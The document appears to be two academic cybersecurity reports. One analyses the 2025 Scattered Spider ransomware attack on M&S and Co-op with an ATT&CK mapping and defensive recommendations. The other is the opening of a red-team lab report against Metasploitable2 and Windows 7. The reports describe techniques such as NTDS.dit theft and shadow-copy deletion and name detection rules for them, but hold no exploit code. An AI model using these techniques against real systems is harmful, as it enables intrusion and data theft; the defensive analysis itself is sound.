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[bookmark: _Toc228127094]TASK 1 — Strategic Threat Analysis: The M&S & Co-op UK Cyber Attack



[bookmark: _Toc227971065][bookmark: _Toc228127095]Abstract
In spring 2025, two of the most recognisable retailers in the United Kingdom - Marks & Spencer PLC (M&S) and the Co-operative Group Ltd (Co-op) - were victims of a ransomware attack by a financially motivated actor, tracked as Scattered Spider (alternate names UNC3944/Octo Tempest), using the DragonForce Ransomware-as-a-Service (RaaS) tool. The attack took advantage of human factors via social engineering of third-party IT helpdesk staff, rather than any new vulnerability, and resulted in the encryption of M&S's VMware ESXi virtualisation platform and exfiltration of its customers' personally identifiable information (PII), with an estimated £300 million profit loss to M&S. The attack was intercepted by Co-op in minutes and the ransomware never detonated, but M&S experienced 46 days of ecommerce downtime and one of the largest retail outages in the UK's history. This report includes a chronology, mapping of twelve MITRE ATT&CK techniques, root cause analysis, threat actor profiling, and strategic advice based on the NCSC and peer-reviewed literature.
[bookmark: _Toc227971066][bookmark: _Toc228127096]
1. Incident Summary and Timeline
For the purposes of this article, the incidents are considered part of a singular campaign. They both share similar attribution, virtually identical initial-access techniques and a similar operational timeframe as confirmed by the UK Parliament's Business and Trade Sub-Committee hearing of 8 July 2025 (Norman and Elsey testimony).

[bookmark: _Toc227971067][bookmark: _Toc228127097]1.1 Executive Summary
In February-May 2025, Scattered Spider launched an advanced multi-stage campaign targeting leading UK retailers. The actor used social engineering to impersonate staff to trick the IT helpdesk to reset passwords, a technique that has previously been used (CISA AA23-320A, 2025). In the case of M&S, the dwell time prior to ransomware detonation spanned about eight weeks, during which the actors "cracked" Active Directory (AD) passwords, conducted lateral movement in a virtualised environment, stole customer data and finally detonated DragonForce ransomware on ESXi hosts on 24 April 2025. At Co-op, the initial access vector was identical, but automated Security Operations Centre (SOC) monitoring picked up on suspicious account activity within minutes, resulting in a swift response before encryption could be implemented.

[bookmark: _Toc227971068][bookmark: _Toc228127098]1.2 Chronological Timeline
Table 1 presents the key events with dates and severity indicators (Red = critical; Amber = significant; Green = positive/recovery):


.


[bookmark: _Toc227971069][bookmark: _Toc228127099]2. Adversary TTP Mapping — MITRE ATT&CK Enterprise
The table below links 12 key techniques used in the M&S/Co-op campaign to the MITRE ATT&CK Enterprise Matrix (v17). Sources include CISA advisory AA23-320A (updated July 2025), vendor reporting (Quorum Cyber, Prelude Security, Hack The Box, Picus Security, Barricade Cyber) and public reporting.

	ATT&CK ID
	Technique
	Tactic
	Evidence & Justification

	T1598 / T1566
	Phishing / Phishing for Info
	Initial Access
	Scattered Spider impersonated M&S/Co-op employees to trick IT helpdesk (reportedly TCS) into issuing credential resets. Vishing (voice-phishing) calls are a signature technique. (CISA AA23-320A; HTB, 2025)

	T1078.004
	Valid Accounts: Cloud Accounts
	Initial Access / Persistence
	Compromised credentials used to authenticate into corporate VPN, Citrix, and cloud SSO portals as legitimate users, evading perimeter controls. (Prelude Security, 2025)

	T1199
	Trusted Relationship
	Initial Access
	M&S's third-party IT managed-service provider (TCS) was the first pivot point, illustrating supply-chain / trusted-relationship compromise. (Computer Weekly, May 2025)

	T1003.003
	OS Credential Dumping: NTDS
	Credential Access
	Attackers exfiltrated the Windows Active Directory NTDS.dit file from a domain controller as early as February 2025, enabling offline hash cracking of all domain-user passwords. (CM-Alliance; Quorum Cyber, 2025)

	T1136
	Create Account
	Persistence
	New privileged accounts and MFA device enrollments created post-compromise to maintain foothold even if original credentials were rotated. (CISA AA23-320A rev. Jul 2025)

	T1021.001
	Remote Services: Remote Desktop Protocol / VPN
	Lateral Movement
	Using cracked credentials attackers moved laterally via VPN and remote-desktop pathways through M&S's network for weeks prior to ransomware detonation. (Security Journal UK, 2025)

	T1114
	Email Collection
	Collection
	Scattered Spider searched victim Slack, Teams and Exchange Online for mentions of the ongoing incident to monitor defensive activities and re-plan access. (CISA AA23-320A rev. Jul 2025)

	T1219
	Remote Access Software
	Command & Control
	RMM tools (AnyDesk, ConnectWise, Splashtop) deployed under the guise of IT support to maintain persistent, stealthy back-channel access. (Prelude Security; Barricade Cyber, 2025)

	T1567.002
	Exfiltration to Cloud Storage
	Exfiltration
	Customer PII and business data staged and uploaded to attacker-controlled cloud storage (MEGA, AWS-based) for double-extortion leverage. Co-op data confirmed stolen (~20 m records); M&S PII confirmed exfiltrated. (Prelude Security; Computer Weekly, 2025)

	T1490
	Inhibit System Recovery
	Impact
	Attackers deleted Volume Shadow Copies and targeted backup servers/NAS devices to eliminate recovery paths and increase ransom pressure. (Picus Security, 2025)

	T1486
	Data Encrypted for Impact
	Impact
	DragonForce ransomware detonated on VMware ESXi hosts at M&S on 24 Apr 2025, encrypting virtual machines and taking core retail systems offline. (Quorum Cyber; CISA, 2025)

	T1562.001
	Impair Defenses: Disable Security Tools
	Defense Evasion
	Scattered Spider is documented using BYOVD (Bring Your Own Vulnerable Driver) and EDR-killer scripts to disable endpoint-detection agents before ransomware detonation. (CrowdStrike via MITRE ATT&CK G1015)



[bookmark: _Toc227971070][bookmark: _Toc228127100]2.1 Attack Flow Narrative
· The cyberattack adhered to a traditional Advanced Persistent Threat (APT) attack kill-chain, albeit at a criminal pace:
· Reconnaissance and Resource Development: The group identified M&S's managed-service provider relationships and developed employee-impersonation scripts.
· Initial Access (T1598/T1199): Telephony-based social engineering of a third-party IT helpdesk (reportedly TCS) allowed account password resets for system administrators, without relying on a technical exploit.
· Credential Access (T1003.003): Domain controller NTDS.dit exfiltration gave the group the key to the entire Active Directory - allowing offline password hash cracking for all domain users.
· Lateral Movement & Persistence (T1078.004 / T1136 / T1021): Valid accounts and new backdoor accounts provided a path to anonymously navigate M&S's poorly segmented network for about 8 weeks.
· Collection & Exfiltration (T1114 / T1567.002): PII and business data was collected and uploaded to the cloud (MEGA). At Co-op, it is confirmed that some 20 million customer records were exfiltrated.
· Impact (T1486 / T1490): DragonForce ransomware was activated on ESXi hosts, disabling shadow copies and encrypting virtual machines - ensuring the greatest impact on operations and potential ransom..


[bookmark: _Toc227971071][bookmark: _Toc228127101]3. Root Cause and Security Control Failures
[bookmark: _Toc227971072][bookmark: _Toc228127102]3.1 Human Factor — Social Engineering of the Helpdesk
The root cause at M&S was the lack of a secure helpdesk identity-verified authentication process at the third party supplier. Evidence to the UK Parliament confirmed that hackers impersonated employees, and convinced IT support to reset passwords without satisfactory verification procedures (Norman, Jul 2025). This is a failure of the NCSC's Cyber Essentials "Access Control" control domain and the lack of "manager confirmation" or "callback to registered number" verification processes required in the organisation's Identity and Access Management (IAM) policy. The IT service provider (it is believed to be Tata Consulting Services) had delegated access, but the security requirements in the contract for helpdesk verification procedures were apparently not enough to address this issue.
[bookmark: _Toc227971073][bookmark: _Toc228127103]3.2 Third-Party / Supply-Chain Risk
This pivot via a managed service provider reveals a key organisational weakness: third-party risk. ISO/IEC 27036 offers guidance for information security for supplier relationships, but the evidence of the attack suggests either M&S did not have, or did not enforce, security-baseline requirements on the helpdesk procedures of TCS. Both Sangfor (2025) and Computer Weekly (May 2025) describe the attack as a supply-chain attack because the threat actor exploited a trusted third party with high-privilege access to M&S's Active Directory system.
[bookmark: _Toc227971074][bookmark: _Toc228127104]3.3 Network Architecture — Insufficient Segmentation
Compare M&S to Co-op. Elsey (Co-op CISO, Jul 2025) told us that their environment is "heavily segmented - part of a zero trust strategy", with critical services in separate network segments. By contrast, tightly-coupled legacy systems at M&S meant that the attacker, once he stole domain credentials, was able to move laterally to the VMware ESXi management plane. The analysis of the parliamentary hearings by MTI.com (2015) found that M&S's containment response required the shutdown of large areas of the environment due to a lack of architectural isolation.
[bookmark: _Toc227971075][bookmark: _Toc228127105]3.4 Detection Latency — Absence of Real-Time Behavioural Alerting
M&S's 8 week dwell time (from initial breach in February to detonation of ransomware on 24 April) demonstrates a lack of detection. No real-time alert was triggered by the theft of NTDS.dit, establishment of new privileged accounts or abnormal use of RMM tools. By comparison, Co-op's Security Operations Centre (SOC) detected and alerted on unusual account activity within minutes of the intruder breaching the network, prompting an incident response. This suggests M&S did not have sufficient User and Entity Behaviour Analytics (UEBA) or alert thresholds were set too low.
[bookmark: _Toc227971076][bookmark: _Toc228127106]3.5 MFA Control Failure
Scattered Spider's signature technique, bypassing MFA through helpdesk social engineering, was successful at M&S because the company's MFA policy permitted device registration or factor resets via a human process without phishing-resistant MFA (e.g., FIDO2/WebAuthn hardware keys). CISA (AA23-320A rev., 2025) explicitly highlights that MFA technologies such as SMS and push notifications are vulnerable to social engineering and SIM-swapping attacks, and should be replaced with phishing-resistant hardware-based MFA.
[bookmark: _Toc227971077][bookmark: _Toc228127107]
4. Threat Actor Profile and Motive
[bookmark: _Toc227971078][bookmark: _Toc228127108]4.1 Attribution
We have high confidence in attributing the attacks to Scattered Spider. It is tracked under a number of different aliases - UNC3944 (Mandiant), Octo Tempest (Microsoft), Storm-0875, Roasted 0ktapus - and is characterised as a loosely organised group of mostly native English speakers in their early to mid-20s who have been active since at least May 2022 (MITRE ATT&CK G1015; CISA, 2025). The impersonation of a helpdesk via voice phishing, and the employment of legitimate remote management and monitoring (RMM) software and the DragonForce RaaS encryptor after gaining access, is consistent with the threat actor profile update published in the joint CISA/FBI/NCSC/ACSC advisory in July 2025. M&S' chairman Archie Norman's evidence to parliament that "the hackers impersonated an employee and tricked a third party supplier into changing the passwords" is textually compatible with this attribution.
[bookmark: _Toc227971079][bookmark: _Toc228127109]4.2 Motive
The main motive is money. Scattered Spider is a double-extortion ransomware group: pay a ransom to recover the data and pay another ransom to prevent exfiltrated data from being sold on. The DragonForce ransom note to M&S CEO, Stuart Machin, reported in early June (BlackFog, 2025), is in line with this approach. There is no evidence of state sponsorship, espionage or political motives. The UK Cyber Monitoring Centre has assessed the total M&S/Co-op campaign as a Category 2 cyber incident, with total costs estimated to be between £270 m and £440 m (Computer Weekly, Jun 2025).
[bookmark: _Toc227971080][bookmark: _Toc228127110]4.3 Capability Level
The group's capabilities are assessed as moderate-to-high level social engineering and operational security skills, but using off-the-shelf tools rather than zero-day exploits. They are highly patient (8 weeks in M&S's environment), proficient in language and cultural skills to convincingly impersonate others, and highly knowledgeable about enterprise Active Directory and VMware virtualisation environments. Mandiant (2025) observes the group using increasingly frequent targeting of VMware vSphere environments, a strategic escalation of their attacks' impact. The APT group continually evolves its TTPs to evade detection (CISA, 2025) and - uniquely - reportedly tapped M&S's incident response response calls to predict response actions (CISA AA23-320A rev., 2025).


[bookmark: _Toc227971081][bookmark: _Toc228127111]5. Detection and Response Analysis
[bookmark: _Toc227971082][bookmark: _Toc228127112]5.1 M&S — Detection Failure
M&S had a failure to detect. The eight-week detection failure after NTDS.dit exfiltration in February 2025 is a crucial failure of multiple monitoring aspects. There were no alarms for: (a) the unusual exfiltration of a highly sensitive Domain Controller database file; (b) the creation of new privileged access accounts outside the usual provisioning processes; (c) the unusual VPN logins from new MFA devices; and (d) the activation of RMM tools or commands in production environments outside scheduled change windows. This is indicative of either a poorly resourced SIEM/UEBA capability, or poorly configured detection content.
M&S had reportedly tripled cybersecurity staff and doubled investment over the past few years (MTI.com, 2025). Yet, Norman's testimony implied that controls investment had not been met with commensurate detection success. This is not an uncommon claim: Verizon DBIR (2024) reports consistently that the median dwell time for financially motivated threat actors remains at weeks, implying detection is not as successful.
[bookmark: _Toc227971083][bookmark: _Toc228127113]5.2 Co-op — Detection Success
Co-op's actions are in contrast. The SOC detected unusual behaviour of an account several minutes after the attacker's initial access and automatically locked the account before the attacker could move around the network. This was complemented by: (a) board and technical-level cyber incident simulations and crisis simulations; (b) micro-segmentation of the network to contain the fallout; and (c) pre-determined runbooks that did not need to be improvised in the midst of crisis. Suspension of VPN access to all staff, whilst disruptive, is an example of a balanced approach to incident response - security vs availability.
[bookmark: _Toc227971084][bookmark: _Toc228127114]5.3 Third-Party Response
The National Cyber Security Centre, Metropolitan Police and National Crime Agency responded promptly to public disclosure. The follow-up, joint CISA/NCSC advisory (Jul 2025) provided valuable threat intelligence to the industry. But the timing of these responses (weeks or months after compromise) highlights the relative limitations of the reactive, disclosure-driven government response, as opposed to proactive threat sharing by the industry.


[bookmark: _Toc227971085][bookmark: _Toc228127115]6. Strategic Recommendations
The following ranked recommendations are derived from the NCSC Cyber Essentials Plus, NIST SP 800-63B (digital identity), NIST SP 800-207 (zero trust) and incident response peer-reviewed articles. Effort bands are indicative:

[bookmark: _Toc227971086][bookmark: _Toc228127116]6.1 Deploy Phishing-Resistant MFA Across All Privileged Accounts [HIGH PRIORITY]
Rationale: The campaign was a success because SMS/push-notification MFA could be circumvented through helpdesk social engineering. FIDO2/WebAuthn hardware keys (a.k.a. "security keys" - e.g., YubiKey) are phishing-resistant, SIM-swapping-proof and helpdesk-resistant because physical possession of the token is required.
1. Action: Mandate FIDO2-compliant authenticators for all privileged accounts (Domain Admins, cloud IAM, ESXi management) within 90 days.
1. Action: Extend to all workforce accounts within 12 months, particularly for remote-access and helpdesk portals.
1. Effort/Cost: Medium — hardware token procurement (~£30–£60 per user) plus policy uplift. For 65,000 M&S employees, estimated £2–4 m one-time capital investment.
1. Standard: Aligns with NCSC Authentication guidance; NIST SP 800-63B Level 3.

[bookmark: _Toc227971087][bookmark: _Toc228127117]6.2 Enforce Identity-Verified Helpdesk Authentication Protocols [HIGH PRIORITY]
Rationale:  Attackers used a social engineering phone call to the helpdesk. There should be no password or MFA reset without an out-of-band identity verification process.
1. Action: Implement a 'zero-trust helpdesk' protocol: any credential or MFA reset request must be approved by the employee's line manager via a separate authenticated channel (e.g., a manager portal) before action is taken.
1. Action: Add this requirement as part of a security contract to all managed service provider (MSP) agreements, with audit rights.
1. Effort/Cost: Low-Medium effort/cost - process/policy change; tooling may need customisation of helpdesk workflows (1-3 months)

[bookmark: _Toc227971088][bookmark: _Toc228127118]6.3 Implement Network Micro-Segmentation and Zero Trust Architecture [HIGH PRIORITY]
Rationale: Co-op's result was due to network segmentation preventing east-west movement. NIST SP 800-207 (Zero Trust Architecture) is the definitive guide.
1. Action:  Map existing network and determine "flat" Layer 2/3 segments that allow free east-west travel. Segmentation of: (a) VMware ESXi/vSphere management plane; (b) Active Directory Domain Controllers; (c) backup infrastructure; (d) point-of-sale and logistics systems should be prioritised.
1. Action:  Introduce a software-defined networking (SDN) microsegmentation solution (e.g., VMware NSX, Illumio, Guardicore) for least-privilege east-west access policy.
1. Effort/Cost: High — architectural redesign is a 12–24 month programme for a network of M&S's scale. Estimated £5–15 m for an organisation of 65,000 staff across 1,400 sites.

[bookmark: _Toc227971089][bookmark: _Toc228127119]6.4 Strengthen Domain Controller Monitoring and NTDS.dit Protection [HIGH PRIORITY]
Rationale: In February 2025, exfiltration of NTDS.dit was not detected for weeks. This is the "crown jewels" of a Windows Active Directory domain.
· Action: Create a custom rule to monitor - should any process (other than system processes) try to copy or read NTDS.dit or SYSTEM registry key, alert immediately. Windows Event IDs 4656/4663 (object access) should trigger a high-fidelity alarm.
· Action: Turn on Windows Advanced Audit Policy on all Domain Controllers; stream to SIEM.
· Action: Limit the ability to create VSS snapshots on Domain Controllers; alert on vssadmin or wmic shadow copy commands to delete snapshots.
· Effort/Cost: Low - configuration tuning and detection content tuning; 2-4 weeks engineering.

[bookmark: _Toc227971090][bookmark: _Toc228127120]6.5 Deploy User and Entity Behaviour Analytics (UEBA) with Tuned Baselines [MEDIUM PRIORITY]
Rationale: Long dwell time is a sign of a lack of behaviour detection. UEBA solutions baseline user and entity behaviour and trigger alarms.
1. Action: Introduce UEBA (Microsoft Sentinel UEBA or Exabeam or Securonix) to create baselines for: login timing and locations, use of RMM tools, volume of data uploaded to cloud storage, and patterns of enumeration of privileged accounts.
1. Action: Configure alerts specifically for: first-time use of RMM tools by non-IT accounts; large-scale LDAP enumeration; cloud exfiltration exceeding threshold volume; new MFA device registration outside of approved onboarding periods.
1. Effort/Cost: Medium — UEBA costs (approximately £15-30 per user per year) and 3-6 months of work to baseline.

[bookmark: _Toc227971091][bookmark: _Toc228127121]6.6 Mandate Cyber Incident Rehearsals at Board and Technical Levels [MEDIUM PRIORITY]
Rationale: Co-op's best practice was derived from its regular rehearsals. M&S's increased spending on staff and budget had not been reflected with equivalent exercise.
1. Action: Run bi-annual tabletop exercises for scenarios centred on social-engineering-based ransomware at the executive (decision-making) and technical (SOC/IR) levels.
1. Action: Include third-party IT service providers in exercises to test the helpdesk authentication protocol under pressure.
1. Effort/Cost: Low-Medium — external facilitation of tabletop exercises (~£20,000–£50,000 per exercise).

[bookmark: _Toc227971092][bookmark: _Toc228127122]6.7 Enforce Immutable, Offline Backup Architecture [HIGH PRIORITY]
Rationale: DragonForce/Scattered Spider often destroys shadow copies and backup systems to eliminate recovery. Immutable backup architecture eliminates this.
1. Action: Adopt the "3-2-1-1" backup strategy: 3 copies of data, on 2 different types of media, 1 offsite copy and 1 immutable (air-gapped or write-once) copy.
1. Action: Test restoration procedures quarterly; ensure recovery time objectives (RTOs) are validated against actual ransomware recovery scenarios — not just hardware failure scenarios.
1. Effort/Cost: Medium - cloud immutable backup storage (e.g., AWS S3 Object Lock, Microsoft Azure Immutable Blob) increases the cost of backup by 20-30%.
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[bookmark: _Toc227971095][bookmark: _Toc228127125]A.0  Chronological Timelines
	Date
	Event
	Detail
	Sev.

	Feb 2025
	Initial compromise
	Threat actors (Scattered Spider) reportedly infiltrate M&S systems — likely via social-engineered helpdesk reset on a third-party IT provider (TCS). NTDS.dit (Active Directory database) stolen.
	

	19–21 Apr 2025
	Customer impact begins
	Easter weekend: contactless payments and Click & Collect fail across M&S stores. Incident initially attributed to 'technical issues'.
	

	22 Apr 2025
	Public disclosure — M&S
	M&S files stock market disclosure acknowledging 'cyber incident'. NCSC and external IR firms (CrowdStrike/Mandiant) engaged. Customer data initially declared safe.
	

	23 Apr 2025
	Extortion contact
	DragonForce/Scattered Spider contact M&S CEO Stuart Machin via a compromised employee email confirming server encryption.
	

	24 Apr 2025
	DragonForce ransomware deployed
	Ransomware detonated on VMware ESXi infrastructure. Virtual machines encrypted, automated ordering and stock systems offline.
	

	25 Apr 2025
	Online operations suspended
	M&S halts all website/app orders; ~200 job listings removed. Signs of empty shelves appear in stores.
	

	28 Apr 2025
	Warehouse shutdown
	~200 agency workers at Castle Donington warehouse sent home. Percy Pigs and other fast-moving lines absent from stores.
	

	30 Apr 2025
	Co-op incident confirmed
	Co-op confirms 'cyber incident', shuts down parts of IT systems. Metropolitan Police confirms investigation.
	

	1 May 2025
	Co-op internal memo
	Co-op CIO orders VPN suspension for all staff; employees warned attackers may monitor internal comms including Teams.
	

	1 May 2025
	Harrods confirms attack
	Harrods publicly confirms cyber incident; limited operational impact due to smaller internet-facing footprint.
	

	13 May 2025
	M&S customer data confirmed stolen
	M&S confirms customer PII exfiltrated (names, emails, dates of birth, partial addresses). Payment data and passwords declared safe.
	

	21 May 2025
	M&S financial impact quantified
	Annual results: £300 m profit impact forecast. Online clothing/home sales down ~one-third. Website restored read-only.
	

	10 Jun 2025
	Partial ecommerce restoration
	M&S resumes online clothing orders after 46-day shutdown.
	

	8 Jul 2025
	Parliamentary hearing
	M&S Chairman Archie Norman and Co-op CISO testify before UK Business & Trade Sub-Committee, confirming social-engineering initial access vectors.
	

	29 Jul 2025
	CISA/NCSC joint advisory
	CISA, FBI, NCSC, ACSC issue updated Scattered Spider advisory (AA23-320A rev.) detailing DragonForce RaaS partnership and VMware ESXi targeting.
	


[bookmark: _Toc228127126]A.1 Source Quality Assessment
Primary sources for this analysis were evaluated on a three-tier reliability scale:

	Tier
	Category
	Examples Used

	Tier 1 — High
	Official / Regulatory
	CISA AA23-320A (rev. Jul 2025); UK Parliament oral evidence (Jul 2025); M&S official corporate cyber-update; NCSC guidance

	Tier 2 — Medium
	Reputable Industry / Vendor
	CrowdStrike/Mandiant reporting; Quorum Cyber CTI; Prelude Security; Picus Security; Computer Weekly; Security Journal UK

	Tier 3 — Lower
	General Media / Analysis
	BlackFog blog; Sangfor; HTB blog; Al Jazeera — used for corroboration and timeline construction only, not sole attribution



[bookmark: _Toc227971096][bookmark: _Toc228127127]A.2 OSINT Collection Notes
•	DragonForce Leak: The DragonForce .onion leak website was referred to in several vendor reports as the data exfiltration confirmation site. We did not attempt to access; we relied on vendor reports (Picus, Resecurity).
•	TCS Targeting: Various sources (Reuters, Computer Weekly) attribute the attack to the third-party IT provider, Tata Consulting Services. TCS did not comment. This is reported, not confirmed, attribution.
•	Ransom Demanded: The ransom demanded is unreported. Public reports confirm M&S received a ransom note; it is unclear whether they have paid as of April 2026.
•	Arrested Suspects: Various members of Scattered Spider have been arrested in the US (2024-2025) in unrelated cases. None are known to have been charged in relation to the M&S/Co-op campaign at the time of this report.

[bookmark: _Toc227971097][bookmark: _Toc228127128]A.3 Attack Flow Diagram
Figure A.1 below presents a simplified Unified Kill Chain representation of the M&S attack:

	Recon T1598
	Initial Access T1199
	Cred Access T1003
	Persist T1136
	Lat. Move T1021
	Collection T1114
	Exfil T1567
	Inhibit T1490
	Impact T1486

	Feb 2025
	Feb 2025
	Feb 2025
	Feb–Apr 2025
	Feb–Apr 2025
	Apr 2025
	Apr 2025
	24 Apr
	24 Apr



Figure A.1: Simplified attack phase timeline mapped to ATT&CK tactics. Blue = Initial; Red = Compromise phase; Yellow = Exfiltration; Green = Impact.

[bookmark: _Toc227971098][bookmark: _Toc228127129]A.4 M&S vs Co-op Comparative Outcome Table

	Factor
	Marks & Spencer
	Co-operative Group

	Initial Access Vector
	Social engineering of third-party helpdesk (TCS)
	Social engineering of internal helpdesk — same technique

	Time to Detection
	~8 weeks (February → April 2025)
	Minutes — SOC auto-alert on anomalous account behaviour

	Ransomware Deployed?
	Yes — DragonForce on VMware ESXi, 24 Apr 2025
	No — contained before detonation

	Customer Data Exfiltrated?
	Yes — names, emails, DOB (confirmed 13 May)
	Yes — ~20 m records (confirmed by Co-op)

	Ecommerce Impact
	46-day suspension of online orders
	Minimal — core services maintained throughout

	Financial Impact
	~£300 m profit impact; £750 m market cap loss
	Significantly lower — not publicly quantified

	Network Segmentation
	Insufficient — flat legacy architecture
	Strong — micro-segmented zero-trust zones

	IR Preparedness
	Overwhelmed; described as 'traumatic'
	Well-rehearsed; enacted pre-planned playbook



Table A.1: M&S vs Co-op — comparative incident outcome summary. Sources: Parliamentary hearing (Jul 2025); MTI.com (Sep 2025); BlackFog (2025); Prelude Security (2025).
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[bookmark: _Toc228059714][bookmark: _Toc228127131]Executive Summary
This report outlines the results of a red team engagement with a simulated environment of a mid-sized organisation, ABCD Ltd that has web-facing and internal systems. The purpose of the assessment was to check the security position of the organisation by emulating a realistic cyber-attack and determining the possible vulnerabilities that can be abused by enemies.
The interaction proved to be a full chain attack starting with reconnaissance and moving on to exploitation, internal access, and exfiltration. The attacker was able to discover vulnerable services in the web server and used an old FTP service to have the initial access. This underscores the danger of unpatched systems and the need to update the systems with the latest software.
After gaining access, the attacker attacked the internal Windows system. Administrative exploitation failed as the user was not allowed to access privileges, but the attacker could authenticate using valid credentials and list shared resources. It shows how dangerous it is to have a weak authentication mechanism and no strict access controls.
At the last phase, it was able to exfiltrate sensitive data off of the system via SMB-based file transfer. This means that there were no data protection protocols and monitoring controls, and the attacker was able to steal confidential information without being detected.
The evaluation revealed a number of serious security vulnerabilities, such as:
1. Lack of regular patch management
1. Weak password policies and the absence of multi-factor authentication
1. No intrusion detection or monitoring systems
1. Insufficient access control mechanisms
1. Absence of data loss prevention strategies
Such vulnerabilities pose a severe risk of cyber attacks and possible data breaches, which might lead to financial loss, reputational loss, and regulatory fines.
In order to address these risks, it is advisable that ABCD Ltd adopts a layered security strategy. Key recommendations include:
1. Regular patching and vulnerability management
1. Strong authentication mechanisms, including multi-factor authentication
1. Deployment of monitoring solutions such as SIEM and endpoint detection tools
1. Implementation of least privilege access controls
1. Adoption of data protection and data loss prevention measures
Finally, the red team engagement also shows that even rather simple vulnerabilities and misconfigurations may be used to create a large impact. By addressing the weaknesses identified, ABCD Ltd will be able to improve its security posture and increase its resilience to real-world cyber threats.


[bookmark: _Toc228059715][bookmark: _Toc228127132]1. Introduction
Red teaming and penetration testing are essential elements of contemporary cybersecurity, as they allow organisations to detect and address vulnerabilities early before they can be exploited by malicious actors. Red team engagements, unlike the traditional vulnerability assessment, are realistic attack simulations in which the attacker emulates the tactics, techniques and procedures (TTPs) of adversaries. This offers a holistic picture of the defensive abilities of an organisation, such as detection, response, and resilience (MITRE, 2024).
This report presents a red team engagement in a simulated environment for ABCD Ltd, a medium-sized organisation that offers web-based retail services and internal corporate systems. This assessment was aimed at assessing the security posture of the organisation by simulating a multi-stage cyber attack. It was engaged in discovering the vulnerability of both the externally accessible services and the internal environment, and then exploiting it, attempting to gain privileges, and steal data (Kim and Solomon, 2018).
The work was carried out in a controlled and closed virtual laboratory setting to allow compliance with ethical principles and avoid any interference with the real-world systems. The results of the assessment should be used to outline the main security vulnerabilities and give an idea of possible risks that may interfere with the business processes and data confidentiality.
[bookmark: _Toc228059716][bookmark: _Toc228127133]2. Rules of Engagement (RoE)
The rules of engagement (RoE) specify the scope, limits, and operational parameters of the red team assessment. These regulations make sure that all activities are carried out in an ethical, safe and within limits that are authorised.
This engagement was limited to a virtualised lab environment that was a simulation of the infrastructure of ABCD Ltd. The systems under scope were a Linux-based web server (Metasploitable2), an internal Windows 7 system, and a Kali Linux attacker system. All systems were set up in an isolated network to avoid unwanted interaction with other systems.
Allowed actions were reconnaissance, vulnerability scanning, exploitation of known vulnerabilities, access using credentials, and controlled data exfiltration. These activities were conducted just to achieve academic and assessment purposes. Use of automated tools like Nmap and Metasploit was allowed, provided that the use was within the scope.
Specifically outlawed activities included: denial of service (DoS) attacks, destructive testing, altering system configurations outside of testing needs, and any contact with real-world or external systems. Also, no long-term or regular access points were preserved during the testing (Conti et al., 2018).
All the tests were performed under the supposition of complete authorisation in the lab. Ethical considerations were followed to the letter, and the engagement did not violate professional cybersecurity standards. A kill-switch strategy was presumed, with testing being stopped on the spot should there be unwanted system instability.
[bookmark: _Toc228059717][bookmark: _Toc228127134]3. Lab Environment Design
The lab setup was configured to be a simplified corporate network infrastructure to allow a controlled red team engagement to be carried out. The environment was composed of three virtual machines, each of which simulated a particular role on the network.
Kali Linux, a popular penetration testing platform with a complete set of offensive security tools, was used to implement the attacker machine. This was the system that was used to do reconnaissance, exploitation and post-exploitation.
The initial target system was a Linux-based web server with Metasploitable2. This machine was also deliberately vulnerable and supported various insecure services, which was why it was ideal to demonstrate the initial access by exploiting publicly exposed vulnerabilities. It was the external infrastructure of the organisation.
The second target system was a Windows 7 system, which is an internal corporate endpoint. To create a simulation of a poorly secured internal environment, this system was set up with few security controls, such as weak authentication credentials and disabled firewall settings. Windows 7 was chosen with purpose since it has been known to be vulnerable and does not have current security features, which is why it would be suitable for showing the privilege escalation attempts and lateral movement methods.
The host-only configuration was used to connect all the virtual machines on one isolated network, providing a safe method of communication between systems and at the same time, avoiding any outside access. This configuration enabled the attacker machine to communicate with target systems within a controlled environment to simulate a real-world attack environment without risk.
The architecture of the lab environment is given in a network diagram given below. The design was such that the engagement would be able to replicate the model of an entire attack lifecycle, including external reconnaissance, internal compromise, and data exfiltration, and remain safe and reproducible (Scarfone and Mell, 2017).
[image: PlantUML diagram]
Figure 1: Architecture of VM Lab setup
(Source: By Author)
[bookmark: _Toc228059718][bookmark: _Toc228127135]4. Threat Emulation Plan
[bookmark: _Toc228059719][bookmark: _Toc228127136]4.1 Overview
The threat emulation plan was created to recreate an authentic adversarial campaign against the virtualised environment of ABCD Ltd. The strategy adheres to a lifecycle of attack, simulating typical tactics, techniques, and procedures (TTPs) that are present in actual cyber-attacks. The goal was to emulate the process of an outside attacker accessing the network, breaching its security, and eventually stealing sensitive information.
The attack plan was planned as a sequence of stages and goal-based and would involve reconnaissance, followed by attempts to exploit, gain privileges, conduct lateral movement, and exfiltrate data. All stages of the attack were correlated with the MITRE ATT&CK framework to provide standardisation and to prove the clear understanding of adversarial behaviour.
[bookmark: _Toc228059720][bookmark: _Toc228127137]4.2 Attack Lifecycle and Methodology
The attack that was emulated was broken down into the following phases:
The attacker engaged in active scanning to determine live hosts and services disclosed in the network. This stage aimed at collecting data like IPs, ports that were open, and services that were running (MITRE, 2024).
Initial Access:
An initial foothold was obtained by exploiting a vulnerable service on the web server (Metasploitable2). This is an exploitation of a publicly accessible system that is one of the most frequent entry points for attackers.
Execution:
Once successfully exploited, the system was executed with commands to gain control and verify access.
Privilege Escalation:
The attacker tried to gain privileges on the compromised systems. The attempt at gaining full administrative access on the Windows system was unsuccessful, but the experiment proved that privilege management was significant (Conti et al., 2018).
Credential Access and Lateral Movement:
Authentication to the internal Windows system was done by using valid credentials over SMB. This allowed the attacker to list common resources and model subsequent movement over the network.
Data Collection and Exfiltration:
The internal system was identified as having sensitive data, and the data was exfiltrated through SMB-based file transfer. This step illustrates the possible business effect of a successful compromise.
[bookmark: _Toc228059721][bookmark: _Toc228127138]4.3 MITRE ATT&CK Mapping
The attack phases were mapped to the MITRE ATT&CK Enterprise framework as follows:
	Attack Phase
	Technique Name
	MITRE ATT&CK ID

	Reconnaissance
	Active Scanning
	T1595

	Initial Access
	Exploit Public-Facing Application
	T1190

	Execution
	Command and Scripting Interpreter
	T1059

	Persistence (Simulated)
	Create Account / Backdoor
	T1136

	Privilege Escalation
	Exploitation for Privilege Escalation
	T1068

	Credential Access
	OS Credential Dumping / Valid Accounts
	T1003 / T1078

	Lateral Movement
	Remote Services (SMB)
	T1021

	Discovery
	Network Service Discovery
	T1046

	Collection
	Data from Local System
	T1005

	Exfiltration
	Exfiltration Over C2 / SMB Channel
	T1041



[bookmark: _Toc228059722][bookmark: _Toc228127139]4.4 Objectives and Success Criteria
The threat emulation plan had a clear direction with objectives to have an outcome that was measurable. The engagement was deemed successful when the following were met:
1. Successful identification of active systems and services within the network
